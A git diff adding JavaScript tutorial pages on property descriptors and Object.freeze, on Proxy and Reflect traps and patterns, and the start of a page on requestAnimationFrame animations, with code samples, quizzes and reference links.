+[`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) makes an object completely immutable by setting `writable: false` and `configurable: false` on all properties: + +```javascript +const CONSTANTS = { + PI: 3.14159, + E: 2.71828, + GOLDEN_RATIO: 1.61803 +} + +Object.freeze(CONSTANTS) + +// Can't modify +CONSTANTS.PI = 3 // Silently fails +console.log(CONSTANTS.PI) // 3.14159 + +// Can't add +CONSTANTS.NEW = 1 // Silently fails + +// Can't delete +delete CONSTANTS.E // Silently fails + +console.log(Object.isFrozen(CONSTANTS)) // true +``` + +<Warning> +**Freeze is shallow!** Nested objects are not frozen: + +```javascript +const user = { + name: "Alice", + address: { city: "NYC" } +} + +Object.freeze(user) + +user.name = "Bob" // Fails - frozen +user.address.city = "LA" // Works! Nested object isn't frozen + +console.log(user.address.city) // "LA" +``` + +For deep freeze, you need a recursive function or a library. +</Warning> + +### Comparison Table + +| Method | Add | Delete | Modify Values | Modify Descriptors | +|--------|-----|--------|---------------|-------------------| +| Normal object | ✅ | ✅ | ✅ | ✅ | +| `preventExtensions()` | ❌ | ✅ | ✅ | ✅ | +| `seal()` | ❌ | ❌ | ✅ | ❌ | +| `freeze()` | ❌ | ❌ | ❌ | ❌ | + +--- + +## Real-World Use Cases + +### Creating Constants + +```javascript +const AppConfig = {} + +Object.defineProperties(AppConfig, { + API_URL: { + value: 'https://api.myapp.com', + writable: false, + enumerable: true, + configurable: false + }, + MAX_RETRIES: { + value: 3, + writable: false, + enumerable: true, + configurable: false + } +}) + +// Works like constants +console.log(AppConfig.API_URL) // "https://api.myapp.com" +AppConfig.API_URL = "hacked" // Fails silently +console.log(AppConfig.API_URL) // "https://api.myapp.com" - unchanged +``` + +### Hidden Internal Properties + +This pattern is similar to how you might use [closures](/concepts/scope-and-closures) to hide data, but works directly on object properties: + +```javascript +function createUser(name, password) { + const user = { name } + + // Store password hash as non-enumerable + Object.defineProperty(user, '_passwordHash', { + value: hashPassword(password), + writable: false, + enumerable: false, // Won't show up in JSON.stringify or Object.keys + configurable: false + }) + + return user +} + +const user = createUser("Alice", "secret123") + +console.log(JSON.stringify(user)) // {"name":"Alice"} - no password! +console.log(Object.keys(user)) // ["name"] - no _passwordHash! +``` + +### Computed Properties That Look Like Regular Properties + +```javascript +const rectangle = { + width: 10, + height: 5 +} + +Object.defineProperty(rectangle, 'area', { + get() { + return this.width * this.height + }, + enumerable: true, + configurable: true +}) + +console.log(rectangle.area) // 50 + +rectangle.width = 20 +console.log(rectangle.area) // 100 - automatically updates! +``` + +### Validation on Assignment + +This pattern is especially useful in [factory functions and classes](/concepts/factories-classes) where you want to enforce data integrity: + +```javascript +const person = { _age: 0 } + +Object.defineProperty(person, 'age', { + get() { + return this._age + }, + set(value) { + if (typeof value !== 'number' || value < 0) { + throw new TypeError('Age must be a positive number') + } + this._age = value + }, + enumerable: true, + configurable: true +}) + +person.age = 25 +console.log(person.age) // 25 + +person.age = -5 // TypeError: Age must be a positive number +person.age = "old" // TypeError: Age must be a positive number +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Every property has a descriptor.** It controls whether the property is writable, enumerable, and configurable. + +2. **Normal assignment sets all flags to `true`.** Properties created with `=` are fully permissive by default. + +3. **`defineProperty` defaults flags to `false`.** Always explicitly set the flags you want when using this method. + +4. **`writable: false` makes a property read-only.** Assignment silently fails in non-strict mode, throws in strict mode. + +5. **`enumerable: false` hides the property.** It won't appear in `for...in`, `Object.keys()`, `JSON.stringify()`, or spread. + +6. **`configurable: false` is permanent.** You can never undo it. The property can't be deleted or reconfigured. + +7. **Data descriptors have `value` and `writable`.** Accessor descriptors have `get` and `set`. You can't mix them. + +8. **`Object.freeze()` is shallow.** Nested objects remain unfrozen. Use recursion for deep freeze. + +9. **Use `getOwnPropertyDescriptors()` for true cloning.** Spread and `Object.assign()` don't preserve descriptors. + +10. **Property descriptors power JavaScript's built-ins.** This is how `Math.PI` and array `.length` have special behavior. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What's the difference between assigning a property normally vs using defineProperty?"> + **Answer:** + + When you assign a property normally (with `=`), all descriptor flags default to `true`: + + ```javascript + const obj = {} + obj.name = "Alice" + // { value: "Alice", writable: true, enumerable: true, configurable: true } + ``` + + When you use `Object.defineProperty()`, unspecified flags default to `false`: + + ```javascript + Object.defineProperty(obj, 'id', { value: 1 }) + // { value: 1, writable: false, enumerable: false, configurable: false } + ``` + + This means properties created with `defineProperty` are restrictive by default. + </Accordion> + + <Accordion title="Why would you make a property non-enumerable?"> + **Answer:** + + Non-enumerable properties are hidden from iteration. This is useful for: + + 1. **Internal/metadata properties** that shouldn't be serialized: + ```javascript + Object.defineProperty(user, '_internalId', { + value: 'xyz123', + enumerable: false + }) + JSON.stringify(user) // Won't include _internalId + ``` + + 2. **Methods on objects** that shouldn't appear in `for...in` loops + + 3. **Matching built-in behavior** like `Array.prototype.length` + </Accordion> + + <Accordion title="What happens if you try to mix value and get in a descriptor?"> + **Answer:** + + You get a `TypeError`. A descriptor must be either a data descriptor (with `value` and optionally `writable`) or an accessor descriptor (with `get` and/or `set`). You cannot combine both: + + ```javascript + Object.defineProperty({}, 'prop', { + value: 42, + get() { return 42 } + }) + // TypeError: Invalid property descriptor. Cannot both specify accessors + // and a value or writable attribute + ``` + </Accordion> + + <Accordion title="How do you create a truly immutable constant in JavaScript?"> + **Answer:** + + Use `Object.defineProperty()` with `writable: false` and `configurable: false`: + + ```javascript + const CONFIG = {} + + Object.defineProperty(CONFIG, 'MAX_SIZE', { + value: 1024, + writable: false, // Can't change the value + enumerable: true, // Visible in iteration + configurable: false // Can't delete or reconfigure + }) + + CONFIG.MAX_SIZE = 9999 // Silently fails + delete CONFIG.MAX_SIZE // Returns false + console.log(CONFIG.MAX_SIZE) // 1024 - unchanged + ``` + + For an entire object, use `Object.freeze()`. But remember it's shallow. + </Accordion> + + <Accordion title="Why doesn't Object.freeze() freeze nested objects?"> + **Answer:** + + `Object.freeze()` only affects the direct properties of the object, not nested objects. This is called "shallow" freezing: + + ```javascript + const data = { + user: { name: "Alice" } + } + + Object.freeze(data) + + data.user = {} // Fails - data is frozen + data.user.name = "Bob" // Works! user object isn't frozen + ``` + + For deep freezing, you need a recursive function: + + ```javascript + function deepFreeze(obj) { + Object.freeze(obj) + for (const key of Object.keys(obj)) { + if (typeof obj[key] === 'object' && obj[key] !== null) { + deepFreeze(obj[key]) + } + } + return obj + } + ``` + </Accordion> + + <Accordion title="How do you clone an object while preserving its property descriptors?"> + **Answer:** + + Use `Object.defineProperties()` with `Object.getOwnPropertyDescriptors()`: + + ```javascript + const original = {} + Object.defineProperty(original, 'id', { + value: 1, + writable: false, + enumerable: true, + configurable: false + }) + + // ❌ Spread loses descriptors + const badClone = { ...original } + + // ✓ This preserves descriptors + const goodClone = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(original) + ) + + console.log(Object.getOwnPropertyDescriptor(goodClone, 'id')) + // { value: 1, writable: false, enumerable: true, configurable: false } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> + Learn more about accessor properties and computed values. + </Card> + <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> + More powerful object interception beyond property descriptors. + </Card> + <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> + Explore all the methods available on Object for inspection and manipulation. + </Card> + <Card title="Strict Mode" icon="lock" href="/beyond/concepts/strict-mode"> + Why property descriptor errors are silent without strict mode. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Object.defineProperty() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"> + Complete reference for defining properties with descriptors. + </Card> + <Card title="Object.getOwnPropertyDescriptor() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor"> + How to inspect property descriptors. + </Card> + <Card title="Object.freeze() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze"> + Making objects completely immutable. + </Card> + <Card title="Enumerability — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Enumerability_and_ownership_of_properties"> + Deep dive into enumerable properties and ownership. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Property flags and descriptors" icon="newspaper" href="https://javascript.info/property-descriptors"> + The essential javascript.info guide covering all property flags with clear examples. Includes exercises to test understanding. + </Card> + <Card title="Properties in JavaScript: Definition vs Assignment" icon="newspaper" href="https://2ality.com/2012/08/property-definition-assignment.html"> + Dr. Axel Rauschmayer's deep technical analysis of how property definition differs from assignment. + </Card> + <Card title="JavaScript Object Property Descriptors Explained" icon="newspaper" href="https://blog.bitsrc.io/an-introduction-to-object-property-descriptors-in-javascript-3e7d7e4b13f6"> + Bit.dev's visual guide with diagrams explaining each flag and when to use them. + </Card> + <Card title="JavaScript Object.defineProperty()" icon="newspaper" href="https://www.programiz.com/javascript/library/object/defineProperty"> + Programiz tutorial covering defineProperty() syntax, parameters, and practical examples. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Property Descriptors Explained" icon="video" href="https://www.youtube.com/watch?v=LD1tQEWsjz4"> + Clear walkthrough of property descriptors with live coding examples. Good for understanding the basics. + </Card> + <Card title="Object.defineProperty() in JavaScript" icon="video" href="https://www.youtube.com/watch?v=2vHHZZdBDig"> + Focused tutorial on defineProperty() covering all flags and real-world applications. + </Card> + <Card title="JavaScript Object Methods: freeze, seal, preventExtensions" icon="video" href="https://www.youtube.com/watch?v=KIQ-h4xYnKY"> + Comprehensive comparison of object-level protection methods with practical examples. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/proxy-reflect.mdx b/docs/beyond/concepts/proxy-reflect.mdx new file mode 100644 index 00000000..21537825 --- /dev/null +++ b/docs/beyond/concepts/proxy-reflect.mdx @@ -0,0 +1,783 @@ +--- +title: "Proxy and Reflect: Intercepting Object Operations in JavaScript" +sidebarTitle: "Proxy & Reflect: Intercepting Object Operations" +description: "Learn JavaScript Proxy and Reflect APIs. Understand how to intercept object operations, create reactive systems, implement validation, and build powerful metaprogramming patterns." +--- + +What if you could intercept every property access on an object? What if reading `user.name` could trigger a function, or setting `user.age = -5` could throw an error automatically? + +```javascript +const user = { name: 'Alice', age: 30 } + +const proxy = new Proxy(user, { + get(target, prop) { + console.log(`Reading ${prop}`) + return target[prop] + }, + set(target, prop, value) { + if (prop === 'age' && value < 0) { + throw new Error('Age cannot be negative') + } + target[prop] = value + return true + } +}) + +proxy.name // Logs: "Reading name", returns "Alice" +proxy.age = -5 // Error: Age cannot be negative +``` + +This is the power of **[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy)** and **[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)**. Proxies let you intercept and customize fundamental operations on objects, while Reflect provides the default behavior you can forward to. Together, they enable validation, logging, reactive data binding, and other metaprogramming patterns. + +<Info> +**What you'll learn in this guide:** +- What Proxy is and how it wraps objects to intercept operations +- The 13 handler traps (get, set, has, deleteProperty, apply, construct, and more) +- Why Reflect exists and how it complements Proxy +- Practical patterns: validation, logging, reactive systems, access control +- Revocable proxies for temporary access +- Limitations and gotchas to avoid +</Info> + +<Warning> +**Prerequisites:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors) and [Object Methods](/beyond/concepts/object-methods). Understanding how objects work at a lower level helps you see why Proxy is so powerful. +</Warning> + +--- + +## What is a Proxy? + +A **Proxy** is a wrapper around an object (called the "target") that intercepts operations like reading properties, writing properties, deleting properties, and more. You define custom behavior by providing a "handler" object with "trap" methods. + +Think of a Proxy as a security guard standing between you and an object. Every time you try to do something with the object, the guard can inspect, modify, or block the operation. + +```javascript +const target = { message: 'hello' } + +const handler = { + get(target, prop) { + return prop in target ? target[prop] : 'Property not found' + } +} + +const proxy = new Proxy(target, handler) + +console.log(proxy.message) // "hello" +console.log(proxy.missing) // "Property not found" +``` + +Without a handler, a Proxy acts as a transparent pass-through: + +```javascript +const target = { x: 10 } +const proxy = new Proxy(target, {}) // Empty handler + +proxy.y = 20 +console.log(target.y) // 20 - operation forwarded to target +``` + +--- + +## The Security Guard Analogy + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ PROXY: THE SECURITY GUARD │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ YOUR CODE PROXY TARGET OBJECT │ +│ ───────── ───── ───────────── │ +│ │ +│ ┌────────┐ ┌──────────┐ ┌──────────┐ │ +│ │ │ obj.name │ GUARD │ target.name │ { name: │ │ +│ │ You │ ──────────► │ │ ─────────────► │ 'Bob' │ │ +│ │ │ │ • Check │ │ } │ │ +│ │ │ ◄────────── │ • Log │ ◄───────────── │ │ │ +│ │ │ "Bob" │ • Modify│ "Bob" │ │ │ +│ └────────┘ └──────────┘ └──────────┘ │ +│ │ +│ The guard can: │ +│ • Let the operation through unchanged │ +│ • Modify the result before returning it │ +│ • Block the operation entirely (throw an error) │ +│ • Log the operation for debugging │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## The 13 Proxy Traps + +A Proxy can intercept 13 different operations. Each trap corresponds to an internal JavaScript operation: + +| Trap | Intercepts | Example Operation | +|------|-----------|-------------------| +| `get` | Reading a property | `obj.prop`, `obj['prop']` | +| `set` | Writing a property | `obj.prop = value` | +| `has` | The `in` operator | `'prop' in obj` | +| `deleteProperty` | The `delete` operator | `delete obj.prop` | +| `apply` | Function calls | `func()`, `func.call()` | +| `construct` | The `new` operator | `new Constructor()` | +| `getPrototypeOf` | Getting prototype | `Object.getPrototypeOf(obj)` | +| `setPrototypeOf` | Setting prototype | `Object.setPrototypeOf(obj, proto)` | +| `isExtensible` | Checking extensibility | `Object.isExtensible(obj)` | +| `preventExtensions` | Preventing extensions | `Object.preventExtensions(obj)` | +| `getOwnPropertyDescriptor` | Getting descriptor | `Object.getOwnPropertyDescriptor(obj, prop)` | +| `defineProperty` | Defining property | `Object.defineProperty(obj, prop, desc)` | +| `ownKeys` | Listing own keys | `Object.keys(obj)`, `for...in` | + +Let's explore the most commonly used traps in detail. + +--- + +## The `get` Trap: Intercepting Property Access + +The `get` trap fires whenever you read a property: + +```javascript +const handler = { + get(target, prop, receiver) { + console.log(`Accessing: ${prop}`) + return target[prop] + } +} + +const user = new Proxy({ name: 'Alice' }, handler) +console.log(user.name) // Logs: "Accessing: name", returns "Alice" +``` + +**Parameters:** +- `target` - The original object +- `prop` - The property name (string or Symbol) +- `receiver` - The proxy itself (or an object inheriting from it) + +### Default Values Pattern + +Return a default value for missing properties: + +```javascript +const defaults = new Proxy({}, { + get(target, prop) { + return prop in target ? target[prop] : 0 + } +}) + +defaults.x = 10 +console.log(defaults.x) // 10 +console.log(defaults.missing) // 0 (not undefined!) +``` + +### Negative Array Indices + +Access array elements from the end with negative indices: + +```javascript +function createNegativeArray(arr) { + return new Proxy(arr, { + get(target, prop, receiver) { + const index = Number(prop) + if (index < 0) { + return target[target.length + index] + } + return Reflect.get(target, prop, receiver) + } + }) +} + +const arr = createNegativeArray([1, 2, 3, 4, 5]) +console.log(arr[-1]) // 5 (last element) +console.log(arr[-2]) // 4 (second to last) +``` + +--- + +## The `set` Trap: Intercepting Property Assignment + +The `set` trap fires when you assign a value to a property: + +```javascript +const handler = { + set(target, prop, value, receiver) { + console.log(`Setting ${prop} to ${value}`) + target[prop] = value + return true // Must return true for success + } +} + +const obj = new Proxy({}, handler) +obj.x = 10 // Logs: "Setting x to 10" +``` + +<Warning> +The `set` trap **must return `true`** for successful writes. Returning `false` (or nothing) causes a `TypeError` in strict mode. +</Warning> + +### Validation Pattern + +Validate data before allowing assignment: + +```javascript +const validator = { + set(target, prop, value) { + if (prop === 'age') { + if (typeof value !== 'number') { + throw new TypeError('Age must be a number') + } + if (value < 0 || value > 150) { + throw new RangeError('Age must be between 0 and 150') + } + } + target[prop] = value + return true + } +} + +const person = new Proxy({}, validator) + +person.name = 'Alice' // Works fine +person.age = 30 // Works fine +person.age = -5 // RangeError: Age must be between 0 and 150 +person.age = 'thirty' // TypeError: Age must be a number +``` + +--- + +## The `has` Trap: Intercepting `in` Operator + +The `has` trap intercepts the `in` operator: + +```javascript +const range = new Proxy({ start: 1, end: 10 }, { + has(target, prop) { + const num = Number(prop) + return num >= target.start && num <= target.end + } +}) + +console.log(5 in range) // true +console.log(15 in range) // false +console.log(1 in range) // true +``` + +--- + +## The `deleteProperty` Trap + +Intercept property deletion: + +```javascript +const protected = new Proxy({ id: 1, name: 'Alice' }, { + deleteProperty(target, prop) { + if (prop === 'id') { + throw new Error('Cannot delete id property') + } + delete target[prop] + return true + } +}) + +delete protected.name // Works +delete protected.id // Error: Cannot delete id property +``` + +--- + +## The `apply` and `construct` Traps + +For function proxies, you can intercept calls and `new` invocations: + +```javascript +function sum(a, b) { + return a + b +} + +const loggedSum = new Proxy(sum, { + apply(target, thisArg, args) { + console.log(`Called with: ${args}`) + return target.apply(thisArg, args) + } +}) + +loggedSum(1, 2) // Logs: "Called with: 1,2", returns 3 +``` + +The `construct` trap intercepts `new`: + +```javascript +class User { + constructor(name) { + this.name = name + } +} + +const TrackedUser = new Proxy(User, { + construct(target, args) { + console.log(`Creating user: ${args[0]}`) + return new target(...args) + } +}) + +const user = new TrackedUser('Alice') // Logs: "Creating user: Alice" +``` + +--- + +## The `ownKeys` Trap: Filtering Properties + +The `ownKeys` trap intercepts operations that list object keys: + +```javascript +const user = { + name: 'Alice', + age: 30, + _password: 'secret123' +} + +const safeUser = new Proxy(user, { + ownKeys(target) { + return Object.keys(target).filter(key => !key.startsWith('_')) + } +}) + +console.log(Object.keys(safeUser)) // ["name", "age"] - _password hidden +``` + +--- + +## Why Reflect Exists + +**[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)** is a built-in object with methods that mirror every Proxy trap. It provides the default behavior you'd otherwise have to implement manually. + +| Operation | Without Reflect | With Reflect | +|-----------|-----------------|--------------| +| Read property | `target[prop]` | `Reflect.get(target, prop, receiver)` | +| Write property | `target[prop] = value` | `Reflect.set(target, prop, value, receiver)` | +| Delete property | `delete target[prop]` | `Reflect.deleteProperty(target, prop)` | +| Check property | `prop in target` | `Reflect.has(target, prop)` | + +### Why Use Reflect? + +1. **Proper return values**: `Reflect.set` returns `true`/`false` instead of the assigned value +2. **Forwards the receiver**: Essential for getters/setters in inheritance +3. **Cleaner syntax**: Consistent function-based API + +```javascript +const handler = { + get(target, prop, receiver) { + console.log(`Reading ${prop}`) + return Reflect.get(target, prop, receiver) // Proper forwarding + }, + set(target, prop, value, receiver) { + console.log(`Writing ${prop}`) + return Reflect.set(target, prop, value, receiver) // Returns boolean + } +} +``` + +### The Receiver Matters + +The `receiver` parameter is crucial when the target has getters: + +```javascript +const user = { + _name: 'Alice', + get name() { + return this._name + } +} + +const proxy = new Proxy(user, { + get(target, prop, receiver) { + // ❌ WRONG - 'this' will be target, not proxy + // return target[prop] + + // ✓ CORRECT - 'this' will be receiver (the proxy) + return Reflect.get(target, prop, receiver) + } +}) +``` + +--- + +## Practical Patterns + +### Observable Objects (Reactive Data) + +Create objects that notify you when they change. This is how frameworks like Vue.js implement reactivity: + +```javascript +function observable(target, onChange) { + return new Proxy(target, { + set(target, prop, value, receiver) { + const oldValue = target[prop] + const result = Reflect.set(target, prop, value, receiver) + if (result && oldValue !== value) { + onChange(prop, oldValue, value) + } + return result + } + }) +} + +const state = observable({ count: 0 }, (prop, oldVal, newVal) => { + console.log(`${prop} changed from ${oldVal} to ${newVal}`) +}) + +state.count = 1 // Logs: "count changed from 0 to 1" +state.count = 2 // Logs: "count changed from 1 to 2" +``` + +### Access Control + +Hide private properties (those starting with `_`): + +```javascript +const privateHandler = { + get(target, prop) { + if (prop.startsWith('_')) { + throw new Error(`Access denied: ${prop} is private`) + } + return Reflect.get(...arguments) + }, + set(target, prop, value) { + if (prop.startsWith('_')) { + throw new Error(`Access denied: ${prop} is private`) + } + return Reflect.set(...arguments) + }, + ownKeys(target) { + return Object.keys(target).filter(key => !key.startsWith('_')) + } +} + +const user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler) + +console.log(user.name) // "Alice" +console.log(Object.keys(user)) // ["name"] - _password hidden +console.log(user._password) // Error: Access denied +``` + +### Logging/Debugging + +Log all operations on an object: + +```javascript +function createLogged(target, name = 'Object') { + return new Proxy(target, { + get(target, prop, receiver) { + console.log(`[${name}] GET ${String(prop)}`) + return Reflect.get(target, prop, receiver) + }, + set(target, prop, value, receiver) { + console.log(`[${name}] SET ${String(prop)} = ${value}`) + return Reflect.set(target, prop, value, receiver) + } + }) +} + +const user = createLogged({ name: 'Alice' }, 'User') +user.name // [User] GET name +user.age = 30 // [User] SET age = 30 +``` + +--- + +## Revocable Proxies + +Sometimes you need to grant temporary access to an object. `Proxy.revocable()` creates a proxy that can be disabled: + +```javascript +const target = { secret: 'classified info' } +const { proxy, revoke } = Proxy.revocable(target, {}) + +console.log(proxy.secret) // "classified info" + +revoke() // Disable the proxy + +console.log(proxy.secret) // TypeError: Cannot perform 'get' on a proxy that has been revoked +``` + +This is useful for: +- Temporary access tokens +- Sandbox environments +- Revoking permissions after a timeout + +--- + +## Limitations and Gotchas + +### Built-in Objects with Internal Slots + +Some built-in objects like `Map`, `Set`, `Date`, and `Promise` use internal slots that Proxy can't intercept: + +```javascript +const map = new Map() +const proxy = new Proxy(map, {}) + +proxy.set('key', 'value') // TypeError: Method Map.prototype.set called on incompatible receiver +``` + +**Workaround:** Bind methods to the target: + +```javascript +const map = new Map() +const proxy = new Proxy(map, { + get(target, prop, receiver) { + const value = Reflect.get(target, prop, receiver) + return typeof value === 'function' ? value.bind(target) : value + } +}) + +proxy.set('key', 'value') // Works! +console.log(proxy.get('key')) // "value" +``` + +### Private Class Fields + +Private fields (`#field`) also use internal slots and don't work through proxies: + +```javascript +class Secret { + #hidden = 'secret' + reveal() { + return this.#hidden + } +} + +const secret = new Secret() +const proxy = new Proxy(secret, {}) + +proxy.reveal() // TypeError: Cannot read private member +``` + +### Proxy Identity + +A proxy is a different object from its target: + +```javascript +const target = {} +const proxy = new Proxy(target, {}) + +console.log(proxy === target) // false + +const set = new Set([target]) +console.log(set.has(proxy)) // false - they're different objects +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Proxy wraps objects** to intercept operations like property access, assignment, deletion, and function calls. + +2. **Handlers define traps** that are methods named after the operations they intercept (get, set, has, deleteProperty, etc.). + +3. **There are 13 traps** covering all fundamental object operations, from property access to prototype manipulation. + +4. **The `set` trap must return `true`** for successful writes, or you'll get a TypeError in strict mode. + +5. **Reflect provides default behavior** with the same method names as Proxy traps, making forwarding clean and correct. + +6. **Use `Reflect.get/set` with `receiver`** to properly handle getters/setters in inheritance chains. + +7. **Revocable proxies** can be disabled with `revoke()`, useful for temporary access patterns. + +8. **Built-in objects with internal slots** (Map, Set, Date) need the method-binding workaround. + +9. **Private class fields don't work** through proxies due to internal slot access. + +10. **Proxies enable powerful patterns** like validation, observable data, access control, and debugging. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What happens if a set trap returns false?"> + **Answer:** + + In strict mode, returning `false` from a `set` trap causes a `TypeError`. In non-strict mode, the assignment silently fails. + + ```javascript + 'use strict' + + const proxy = new Proxy({}, { + set() { + return false // Or return nothing (undefined) + } + }) + + proxy.x = 10 // TypeError: 'set' on proxy returned false + ``` + + Always return `true` from `set` traps when the operation should succeed. + </Accordion> + + <Accordion title="Why use Reflect.get instead of target[prop]?"> + **Answer:** + + `Reflect.get(target, prop, receiver)` properly forwards the `receiver`, which is essential when the target has getters that use `this`: + + ```javascript + const user = { + firstName: 'Alice', + lastName: 'Smith', + get fullName() { + return `${this.firstName} ${this.lastName}` + } + } + + const proxy = new Proxy(user, { + get(target, prop, receiver) { + // With target[prop], 'this' in the getter would be 'target' + // With Reflect.get, 'this' in the getter is 'receiver' (the proxy) + return Reflect.get(target, prop, receiver) + } + }) + ``` + + This matters when you proxy an object that inherits from another proxy. + </Accordion> + + <Accordion title="How can you make a proxy work with Map or Set?"> + **Answer:** + + Built-in objects like Map and Set use internal slots that proxies can't access. The workaround is to bind methods to the original target: + + ```javascript + const map = new Map() + + const proxy = new Proxy(map, { + get(target, prop, receiver) { + const value = Reflect.get(target, prop, receiver) + // If it's a function, bind it to the target + return typeof value === 'function' ? value.bind(target) : value + } + }) + + proxy.set('key', 'value') // Works now! + ``` + </Accordion> + + <Accordion title="What's the difference between Proxy and Object.defineProperty for validation?"> + **Answer:** + + `Object.defineProperty` only validates a single, predefined property. Proxy intercepts all operations dynamically: + + ```javascript + // defineProperty: Must define each property in advance + const user = {} + Object.defineProperty(user, 'age', { + set(value) { + if (value < 0) throw new Error('Invalid age') + this._age = value + } + }) + + // Proxy: Works for any property, including new ones + const user2 = new Proxy({}, { + set(target, prop, value) { + if (prop === 'age' && value < 0) { + throw new Error('Invalid age') + } + return Reflect.set(...arguments) + } + }) + ``` + + Proxy is more flexible for dynamic validation rules. + </Accordion> + + <Accordion title="How do you create a proxy that can be disabled later?"> + **Answer:** + + Use `Proxy.revocable()` instead of `new Proxy()`: + + ```javascript + const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {}) + + console.log(proxy.data) // "sensitive" + + revoke() // Disable the proxy permanently + + console.log(proxy.data) // TypeError: proxy has been revoked + ``` + + Once revoked, the proxy cannot be re-enabled. All operations on it throw TypeError. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Property Descriptors" icon="sliders" href="/beyond/concepts/property-descriptors"> + Lower-level property control with writable, enumerable, and configurable flags. + </Card> + <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> + Computed properties and validation on individual object properties. + </Card> + <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> + Built-in methods for object inspection and manipulation. + </Card> + <Card title="Design Patterns" icon="sitemap" href="/concepts/design-patterns"> + The Proxy pattern in the context of software design patterns. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Proxy — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy"> + Complete reference for the Proxy object, including all 13 traps and their parameters. + </Card> + <Card title="Reflect — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect"> + The Reflect namespace object and all its static methods. + </Card> + <Card title="Proxy Handler — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy"> + Detailed documentation of all handler trap methods. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Proxy and Reflect — javascript.info" icon="newspaper" href="https://javascript.info/proxy"> + The most comprehensive tutorial on Proxy and Reflect with exercises. Covers all traps with practical examples and common pitfalls. + </Card> + <Card title="ES6 Proxies in Depth — Ponyfoo" icon="newspaper" href="https://ponyfoo.com/articles/es6-proxies-in-depth"> + Deep technical dive into Proxy internals and advanced patterns. Great for understanding the metaprogramming capabilities. + </Card> + <Card title="Understanding JavaScript Proxy — LogRocket" icon="newspaper" href="https://blog.logrocket.com/practical-use-cases-for-javascript-es6-proxies/"> + Practical use cases including data validation, logging, and caching. Shows real-world applications in production code. + </Card> + <Card title="Metaprogramming with Proxies — 2ality" icon="newspaper" href="https://2ality.com/2014/12/es6-proxies.html"> + Dr. Axel Rauschmayer's exploration of Proxy as a metaprogramming tool. Includes the theory behind invariants and traps. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Proxy in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=KJ3uYyUp-yo"> + Quick, entertaining overview of Proxy fundamentals. Perfect if you want to grasp the concept in minutes. + </Card> + <Card title="JavaScript Proxy Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=3WYW3NLLnZ8"> + Clear, beginner-friendly walkthrough of Proxy basics with practical examples. Great starting point for hands-on learning. + </Card> + <Card title="Proxies are Awesome — Brendan Eich" icon="video" href="https://www.youtube.com/watch?v=sClk6aB_CPk"> + JSConf talk by JavaScript's creator on why Proxies were added to the language. Provides historical context and design rationale. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/requestanimationframe.mdx b/docs/beyond/concepts/requestanimationframe.mdx new file mode 100644 index 00000000..fe9e3a6d --- /dev/null +++ b/docs/beyond/concepts/requestanimationframe.mdx @@ -0,0 +1,1032 @@ +--- +title: "requestAnimationFrame: Smooth Animations in JavaScript" +sidebarTitle: "requestAnimationFrame: Smooth Animations" +description: "Learn requestAnimationFrame in JavaScript for smooth 60fps animations. Understand how it syncs with browser repaint cycles, delta time, and animation loops." +--- + +Why do some JavaScript animations feel buttery smooth while others are janky and choppy? Why does your animation freeze when you switch browser tabs? And how do game developers create animations that run at consistent speeds regardless of frame rate? + +The answer is **[`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame)** — the browser API designed specifically for smooth, efficient animations. + +```javascript +// Smooth animation that syncs with the browser's refresh rate +function animate() { + // Update animation state + element.style.transform = `translateX(${position}px)`; + position += 2; + + // Request next frame + if (position < 500) { + requestAnimationFrame(animate); + } +} + +requestAnimationFrame(animate); 